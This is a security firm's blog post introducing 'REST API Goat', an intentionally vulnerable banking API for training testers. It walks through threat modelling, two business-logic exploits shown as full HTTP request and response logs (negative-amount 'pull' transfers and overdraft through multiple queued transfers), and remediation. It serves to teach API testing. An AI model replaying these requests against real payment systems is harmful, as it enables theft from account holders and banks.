A Single Partner for Everything You Need Optiv works with more than 450 world-class security technology partners. By putting you at the center of our unmatched ecosystem of people, products, partners and programs, we accelerate business progress like no other company can.
We Are Optiv Greatness is every team working toward a common goal. Winning in spite of cyber threats and overcoming challenges in spite of them. It’s building for a future that only you can create or simply coming home in time for dinner. However you define greatness, Optiv is in your corner. We manage cyber risk so you can secure your full potential.
Breadcrumb Home Insights Source Zero Optiv’s REST API “Goat” July 10, 2020 Optiv’s REST API “Goat” Many backend services use APIs to communicate with each other and newer web application frameworks use REST APIs extensively to deliver content to the browser. As such, familiarity with API testing is an important skill which web application testers can pick up with a little practice. Optiv’s REST API Goat is a simple API which testers can use to develop their API testing skills. Backend services need ways to communicate with one another securely to send information. While many legacy services use XML-based APIs, newer REST APIs are quickly becoming standard. In addition, the rising popularity of Single Page Application (SPA) frameworks like Angular and React has meant that these APIs are showing up in web application assessments. There is a great overlap of skills between web application testing and REST API testing, especially with the methodology in identifying threats and developing test cases for them. To help application testers develop familiarity with API testing we’ve created our REST API Goat, a simple REST API with some common vulnerabilities built in. Approach The approach to an API assessment does not need to be, at a high level, very different from the approach for a web application assessment. Optiv’s first step for either type of assignment is to profile the application or API: What does it do? Who uses it? What technologies are in use? How is it used? Our next step is to start identifying what threats this application may be vulnerable to. This can be broken down into a number of categories. For example, one category could be threats based on the tech stack in use. Another category could be “business logic,” or the application-specific set of rules about what users can do. Authentication and authorization are vital to the security of any application and are another major area of consideration. Profiling – Developer Interviews Profiling of either APIs or web apps often begins with a basic set of questions posed to developers. Getting answers to these questions speeds up profiling significantly and is always an advantage. The developers provided the following information: In the case of our sample API, REST API Goat, banks contract with the company that developed the API, Acme Inc. By contracting with Acme Inc., banks don’t have to build their own service to allow customers to transfer money. Instead, they can build simple web portals or mobile apps which allow customers to send money to their friends and family by leveraging the API. As such, API clients are the banks themselves, and customers should not have direct access to API methods. Network diagram showing how API is used The API is designed so that one can “push” money, meaning I can initiate a transfer to send you money. I should not be able to initiate a transfer to receive money from you, however. This is an important security control to prevent theft, and one that we will be sure to test. The API hosts data from multiple banks. That is, it’s a “multi-tenant” environment. However, banks should only be able to view information about their own customers and should not be able to fetch balances for customers at another bank. Acme Inc. considers this a critical security measure and expressly highlights this as a risk they are concerned about. API clients authenticate by means of a secret token. This token should be included on all requests as a header value. API clients cannot change their secret token through the API, which ACME is aware of and considers acceptable. Because this is a business-to-business API, client banks are expected to call if they feel that their API token needs to be changed for any reason. This process is out-of-scope. Finally, the backend data store in a SQL database, although they aren’t sure exactly what flavor of SQL. Profiling – Interacting With the API Asking questions of developers is a great way to reduce the amount of time it takes to profile an application and get an idea for how it works at a high level. Documentation can often clarify some of the finer details, especially how individual API methods should work and what data to pass them. But there’s really no substitute for directly interacting with the API, usually by exercising a test harness. Included in the REST API Goat content is a Postman.json file, a Postman collection which demonstrates how the API is expected to be used. The Readme should have some additional notes about specific API methods, especially the three-step “Transfer” workflow. By exercising the API methods, you will gain a better picture of how this API works, especially at lower levels. Threat Analysis There are many possible threats to this API; a few of them are presented below. Some were chosen because of their ubiquity, e.g. SQL Injection, and show how you might model these threats which are present for the vast majority of APIs and web applications. Others are chosen because they highlight how domain-specific and application-specific threats are identified. For example, this API’s chief threat is theft rather than Cross-Site Scripting. This threat is virtually impossible for scanners to identify and highlights the value of manual testing. This app performs authentication via secret, client-specific API tokens. While this isn’t the most robust security control, it can provide acceptable security when well implemented. Attackers are likely to try and guess or steal these tokens, since this would give them unauthorized access to API data. They might also look for endpoints which do not properly check that API tokens are present. Targeting the tech stack, SQL Injection may be present any time an API application interfaces with a relational database to store data. Attackers who identify SQL Injection often want to gain access to information they aren’t authorized to see such as credentials or information belonging to other customers. In some cases, they may be interested in manipulating data, such as increasing their balance. JSON may indicate that the server is deserializing client data into objects in server code. If this is the case, Insecure Deserialization issues may be present which may allow attackers to run arbitrary code on the server and completely take it over. We should test for evidence of both of these vulnerabilities. Authorization is often specific to the application, and scanning tools are unlikely to identify it. Based on our discussion with the developers, we know API clients aren’t authorized to view balances of customers from other banks. Our threat analysis should include attempts to bypass this control. Attackers could be interested in this for a variety of reasons, including stealing money via the API, gathering information for social engineering attacks, or attempting to gain non-public information about other banks. Tightly coupled to Authorization are business logic threats. Here, we’re looking for actions that users are authorized to perform but may be exploited for an attacker’s benefit. For example, I am allowed to transfer money, but it’s unlikely that I should be able to transfer more money than I have. Can I defeat the logic which prevents this? Similarly, can I send a crafted transfer request to get money from someone else even though I’m initiating the transfer? Workflows which require multiple requests are another common hotspot for business logic errors. It’s easy to validate that the application works when requests are called in the correct sequence or the correct number of times, but if the application doesn’t prevent attackers from making requests out of order or making thousands of requests, attackers may identify ways to circumvent the application’s security checks. Testing Now that we have identified some likely threats, we can start to build test cases. While executing these tests, it’s entirely possible we will find new information that we can work into our threat analysis, making this an iterative process. This blog post will focus on a few test cases, but don’t feel bound by your original threat analysis as you perform your own testing. Test cases for all of the threats above and more would be created during a standard assessment, but we will focus on two tests here, both chosen because of their high impact. Let’s examine two ways attackers might use this API to steal money from other customers or even from the bank. Business Logic and Input Validation – “Pull” Transfers We know that transfers should allow customers to “push” money to other customers, and we can see examples of this in the test harness. We shouldn’t be able to “pull” someone else’s money, however. We have to go ask them to initiate the transfer to us. While social engineering attacks attempt to do just that, it requires a decent amount of time and effort. Perhaps there’s some way we can abuse the API to perform a pull? With direct access to the API, we could simply swap the “to” and “from” IDs in the Create Transfer request; however, customers of the bank should not have direct API access. Attackers who can compromise a bank’s API client could perform the attack but that would likely be quite difficult. Is it possible for customers to directly create “pull” transactions without swapping the “to” and “from” values? Let’s try the following request with a negative transfer amount. Sending you -1000 dollars should be the same as receiving 1000 dollars from you: PUT /transfer HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: ff0056cd-4e47-4f63-a3db-c70449b7654d Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 45 Connection: close { "from": 5, "to": 3, "ammount": "-1000" } It appears the server accepted this request: HTTP/1.0 200 OK Content-Type: application/json Content-Length: 24 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:24:31 GMT {"id":1,"success":true} We should check that it didn’t silently convert this to a positive value or change it to zero. Let’s check the status of all transfer requests: GET /get_transfers HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 6a2d53e4-67df-42ef-981e-f3774b56e77b Host: localhost:5000 Accept-Encoding: gzip, deflate Connection: close It appears to be present, based on the response: HTTP/1.0 200 OK Content-Type: application/json Content-Length: 117 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:27:47 GMT {"success":true,"transfers":[{"amount":-1000,"custID_from":5,"custID_to":3,"id":1,"status":"CREATED"}],"where":null} To confirm that this works correctly, we’ll want to do two things. First, we’ll want to check the balances for these two customers before the transfer happens. Then, we’ll want to complete the transfer and examine how the balances change. Our test harness makes checking customer balances easy. We can simply use the Get Customers method: GET /get_customers HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: b8752c19-8e13-40bd-8a49-685a6301a6fc Host: localhost:5000 Accept-Encoding: gzip, deflate Connection: close The response shows balances for all users we have access to: HTTP/1.0 200 OK Content-Type: application/json Content-Length: 194 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:31:18 GMT { "customers": [ { "balance": 1024.63, "company": 1, "id": 2, "name": "Robert" }, { "balance": 651.2, "company": 1, "id": 3, "name": "Juan" }, { "balance": 12345.49, "company": 1, "id": 5, "name": "Ataahua" } ], "success": true } We’re going to attempt to send -1000 from Ataahua (customer id 5) to Juan (customer id 3), or we’re going to try and take 1000 from Juan and give them to Ataahua. Juan’s balance is $651.20, so not only should it be impossible for Ataahua to take his money, Juan shouldn’t be able to send that much anyway. Let’s complete the transfer process and see what happens: POST /process_transfers/ HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: fcd4cc1b-b593-47ec-8e6e-0b4d5f0fbde4 Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 0 Referer: http://localhost:5000/process_transfers Connection: close It appears we were able to successfully “process” the transfer: HTTP/1.0 200 OK Content-Type: application/json Content-Length: 43 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:34:21 GMT {"failed":[],"pending":[1],"success":true} Now let’s attempt to “confirm” this transfer (id 1) and complete the transaction: POST /confirm_transfer/1 HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 4c9f5c0f-c546-4bb5-90b5-1d7de0814f1b Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 0 Connection: close This also appears successful: HTTP/1.0 200 OK Content-Type: application/json Content-Length: 17 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:35:38 GMT {"success":true} Let’s check everyone’s balance again and see what actually happened: GET /get_customers HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 40f77a1b-1f53-4e0c-a810-9a8f45c0ffc5 Host: localhost:5000 Accept-Encoding: gzip, deflate Connection: close And the result: HTTP/1.0 200 OK Content-Type: application/json Content-Length: 208 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:37:17 GMT { "customers": [ { "balance": 1024.63, "company": 1, "id": 2, "name": "Robert" }, { "balance": -348.79999999999995, "company": 1, "id": 3, "name": "Juan" }, { "balance": 13345.49, "company": 1, "id": 5, "name": "Ataahua" } ], "success": true } Juan now has a negative balance, and Ataahua is now $1000 richer, which demonstrates that bank customers can abuse the API to steal other customers’ money—or the bank’s money, since Juan is now $348.80 overdrawn. This is definitely a threat I’d be concerned about if it were my money. (Astute readers might also point out that this API suffers from floating point roundoff errors that could cause some problems for the bank, too.) This threat case also assumes that bank API Clients don’t check for negative values, which would mitigate this vulnerability. Nevertheless, the API should not rely on its clients for protection where possible. While the API must trust the “to” and “from” values it receives from a bank, it can and should perform its own validation on transfer amounts. Business Logic – Multiple Request Process Sending negative amounts isn’t the only input validation we should expect the API to perform. Let’s see what happens if Robert (id 2) tries to send Ataahua (id 5) $2000. Let’s check everyone’s balance again: GET /get_customers HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 9c6eeeed-b9ca-4596-86bf-365f543ee117 Host: localhost:5000 Accept-Encoding: gzip, deflate Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 208 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:45:11 GMT { "customers": [ { "balance": 1024.63, "company": 1, "id": 2, "name": "Robert" }, { "balance": -348.79999999999995, "company": 1, "id": 3, "name": "Juan" }, { "balance": 13345.49, "company": 1, "id": 5, "name": "Ataahua" } ], "success": true } It looks like Robert can’t afford to send that much. What happens if he were to try anyway? PUT /transfer HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 7c55e6e7-4b8f-4234-bdf8-f167d0e2b94d Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 44 Connection: close { "from": 2, "to": 5, "ammount": "2000" } HTTP/1.0 200 OK Content-Type: application/json Content-Length: 24 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 21:59:44 GMT {"id":2,"success":true} Unexpectedly, the application accepted our request and indicates that it was successful. Let’s take a look at the “created” requests. The test harness’s Get Transfers (Created) request can do this without having to make changes: GET /get_transfers/CREATED HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: d82a4486-7e08-4743-bb28-5e963ed460c2 Host: localhost:5000 Accept-Encoding: gzip, deflate Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 121 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:00:18 GMT { "success": true, "transfers": [ { "amount": 2000, "custID_from": 2, "custID_to": 5, "id": 2, "status": "CREATED" } ], "where": "CREATED" } Well, it’s in the system. Maybe the balance check was overlooked? Let’s go ahead and “process” the request: POST /process_transfers/ HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 5b85688e-a189-4e5c-80d6-08b43cd1582c Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 0 Referer: http://localhost:5000/process_transfers Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 43 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:00:54 GMT { "failed": [ 2 ], "pending": [], "success": true } The API indicates some failures. (In this case, it’s indicating that transfer ID 2 failed, not that 2 transfers failed.) There isn’t a reason given but hypothesizing that Robert didn’t have enough money is pretty reasonable. There’s nothing to stop us from submitting two transfers from Robert’s account before we process the request, however. Let’s try two $1000 transfers. Since he had $1024.63, each one is below his current balance. Here’s the first request and response: PUT /transfer HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 2a344c7a-488e-49b1-bed4-df1dfd48a285 Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 44 Connection: close { "from": 2, "to": 5, "ammount": "1000" } HTTP/1.0 200 OK Content-Type: application/json Content-Length: 24 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:01:50 GMT {"id":3,"success":true} And now the second: PUT /transfer HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: c82a3f95-9444-48c9-84a8-dc3ba264298d Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 44 Connection: close { "from": 2, "to": 5, "ammount": "1000" } HTTP/1.0 200 OK Content-Type: application/json Content-Length: 24 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:02:11 GMT {"id":4,"success":true} So far so good. It looks like the API accept both transfer requests. It’s not a bad idea to check that they were created: GET /get_transfers/CREATED HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 039a4f81-38f4-48fa-8cc4-92f96b66a6fd Host: localhost:5000 Accept-Encoding: gzip, deflate Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 265 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:02:34 GMT { "success": true, "transfers": [ { "amount": 2000, "custID_from": 2, "custID_to": 5, "id": 2, "status": "CREATED" }, { "amount": 1000, "custID_from": 2, "custID_to": 5, "id": 3, "status": "CREATED" }, { "amount": 1000, "custID_from": 2, "custID_to": 5, "id": 4, "status": "CREATED" } ], "where": "CREATED" } We see both of our two new transfers present, and our old request for $2000. It’s hard to predict exactly what will happen when we attempt to process the transfers, so let’s try it and see what happens: POST /process_transfers/ HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: 812a0827-8d20-4e05-b98a-4ac9dd70bb81 Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 0 Referer: http://localhost:5000/process_transfers Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 46 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:03:32 GMT { "failed": [ 2 ], "pending": [ 3, 4 ], "success": true } Here we can see that request IDs 3 and 4 were moved to the “pending” state while ID 2 (the original $2000 transfer) failed. These transfers were processed differently, which is a promising sign from our perspective. Let’s try to “confirm” both of these transfers. We have to do them individually by ID, so let’s do transfer ID 3 first: POST /confirm_transfer/3 HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: a31eddfe-6af3-4e7b-8a65-5be19e84d1eb Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 0 Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 17 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:06:28 GMT {"success":true} It seems we were successful, but Robert had enough in his account to cover one of these transfers. What about the second one, ID 4? POST /confirm_transfer/4 HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: f947e3e0-b7ea-4666-9dcd-0195839b8ad4 Host: localhost:5000 Accept-Encoding: gzip, deflate Content-Length: 0 Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 17 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:07:15 GMT {"success":true} The API indicates that this was successful was well. If they really were both successful, Robert should have sent $2000 to Ataahua. Let’s look at everyone’s balance again and see what happened: GET /get_customers HTTP/1.1 X-API-Token: vfuzd2nvaweojqolm4kq Content-Type: application/json User-Agent: PostmanRuntime/7.23.0 Accept: */* Cache-Control: no-cache Postman-Token: ac73492a-b20f-4f9c-8e6b-392fc95a3b68 Host: localhost:5000 Accept-Encoding: gzip, deflate Connection: close HTTP/1.0 200 OK Content-Type: application/json Content-Length: 219 Server: Werkzeug/1.0.0 Python/3.8.2 Date: Thu, 14 May 2020 22:08:47 GMT { "customers": [ { "balance": -975.3699999999999, "company": 1, "id": 2, "name": "Robert" }, { "balance": -348.79999999999995, "company": 1, "id": 3, "name": "Juan" }, { "balance": 15345.49, "company": 1, "id": 5, "name": "Ataahua" } ], "success": true } Ataahua is now $2000 richer, and Robert once again has a negative balance. We could now present two scenarios to the API developers. The first is that Robert is just forgetful and forgot he already put in a $1000 transfer. The system shouldn’t let him send more money that he has, since the bank has to make up the difference. On the other hand, if Robert and Ataahua were working together, Ataahua could now try to withdraw all the money. If Robert doesn’t have $975 outside of the bank, the bank might not recover the stolen money. We were able to steal almost $1000 with one request. What were to happen if Robert submitting one thousand requests before anything was processed? Does the API make any attempt to limit prevent Robert from submitting a large number of requests in such a short amount of time? Remediation Armed with a knowledge of vulnerabilities and threat scenarios that explain why attackers would exploit this, we can now make recommendations on how these issues could be fixed. Some common attacks, like SQL Injection, have fairly universal solutions. However, application-specific vulnerabilities in business logic require unique remediation recommendations tailored to the application itself. To prevent “pull” transfers, stronger input validation should be performed when users submit transfers. Transfer amounts should be numbers but also should not be negative, since this allows “pull” transactions which the API isn’t meant to allow. This is a relatively easy fix. Preventing users from over drafting their account with multiple requests is a more complicated fix. We might suggest that the current three-step transfer process be reduced to a single step that checks the transfer amount and moves the money in one step. If the API developers reject this solution, perhaps because they would like to batch the processing of all transfers for performance reasons, the issue could also be resolved by making sure that the customer still has enough money in his/her account during the Confirm Transfer step. Alternatively, the API could account for all pending transfers when moving a transfer from the “created” to “pending” state. Conclusion While API testing can seem dauntingly different than web application testing, the methodology and thought process is quite similar between the two. Many backend services use APIs to communicate with each other and newer web application frameworks use REST APIs extensively to deliver content to the browser. As such, familiarity with API testing is an important skill which web application testers can pick up with a little practice. Optiv’s REST API Goat is a simple API which testers can use to develop their API testing skills. While we’ve discussed two of the issues, there are plenty more to find and exploit. Have fun! By: Steven Hartz Senior Security Consultant | Optiv Steven Hartz is a senior security consultant in Optiv’s Threat Management practice specializing in Application Security. His role is to provide in-depth adversarial review services to Optiv’s clients with expertise in performing web application penetration tests, mobile application penetration tests, source code reviews and threat modeling assessments. Prior to joining Optiv, he worked as a network penetration tester for the U.S. Department of Defense. In addition, he has performed assessments for Fortune 500 companies across many industry verticals, including Technology, Healthcare, Financial and Retail for both national and international companies. Steven earned a bachelor’s degree in computer engineering from Michigan State University. Share: Threat Red Team Source Zero® Security Assessment AppSec/SDLC Copyright © 2024 Optiv Security Inc. All rights reserved. No license, express or implied, to any intellectual property or other content is granted or intended hereby. This blog is provided to you for information purposes only. While the information contained in this site has been obtained from sources believed to be reliable, Optiv disclaims all warranties as to the accuracy, completeness or adequacy of such information. Links to third party sites are provided for your convenience and do not constitute an endorsement by Optiv. These sites may not have the same privacy, security or accessibility standards. Complaints / questions should be directed to Legal@optiv.com
Copyright © 2024 Optiv Security Inc. All rights reserved. No license, express or implied, to any intellectual property or other content is granted or intended hereby. This blog is provided to you for information purposes only. While the information contained in this site has been obtained from sources believed to be reliable, Optiv disclaims all warranties as to the accuracy, completeness or adequacy of such information. Links to third party sites are provided for your convenience and do not constitute an endorsement by Optiv. These sites may not have the same privacy, security or accessibility standards. Complaints / questions should be directed to Legal@optiv.com
Would you like to speak to an advisor? How can we help you today? Image E-Book Cybersecurity Field Guide #13: A Practical Approach to Securing Your Cloud Transformation Download Now Image Events Register for an Upcoming OptivCon Learn More Ready to speak to an Optiv expert to discuss your security needs?